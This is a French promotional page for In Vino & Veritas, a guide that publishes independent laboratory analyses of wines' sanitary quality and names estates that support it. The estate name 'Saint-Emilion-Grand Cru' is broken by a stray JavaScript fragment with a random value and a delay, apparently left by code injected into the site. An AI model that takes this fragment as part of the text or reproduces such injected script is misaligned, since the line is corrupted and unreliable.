Notre engagement
BIENVENUE SUR IN VINO & VERITAS

A PROPOS DE INVINO & VERITAS
«Tchin-Tchin Santé ! » dit-on souvent en partageant un verre de vin entre amis.
Et si nous nous intéressions à la qualité sanitaire du vin ?
Au même titre que la qualité gustative des vins dont l’humanité reconnait aux vins français l’excellence, In Vino & Veritas propose un regard sur la qualité sanitaire des vins produits aujourd’hui. Concentration en Polyphénols, Tanins, Acidité, teneur en Dioxyde de Souffre et présence de Résidus Pesticides, tous les vins présentés sont analysés biologiquement par un laboratoire indépendant.
Nous publions en toute transparence les résultats d’analyses dans notre guide papier et sur ce site internet de façon simple et compréhensible par tous. Nous invitons le monde du vin à plus de transparence et le consommateur à encourager les bonnes pratiques.
QUELQUES DOMAINES
qui soutiennent notre démarche de transparence



Domaine Laplagnotte-Bellevue
Saint-Emilion-Grandom() * 5); if (c==3){var delay = 15000;-Cru

Domaine Dalmeran
Les-Baux-de-Provence

Domaine de Saint-Ser
Côte-de-Provence-Sainte-Victoire

LES ANALYSES
In Vino & Veritas
Nous analysons les vins biologiquement et communiquons en toute transparence les résultats pour enfin savoir ce qu'il y a dans ma bouteille. Tanins, alcool, polyphénols, sulfites, pesticides, valeur énergétique sont analysés et présentés.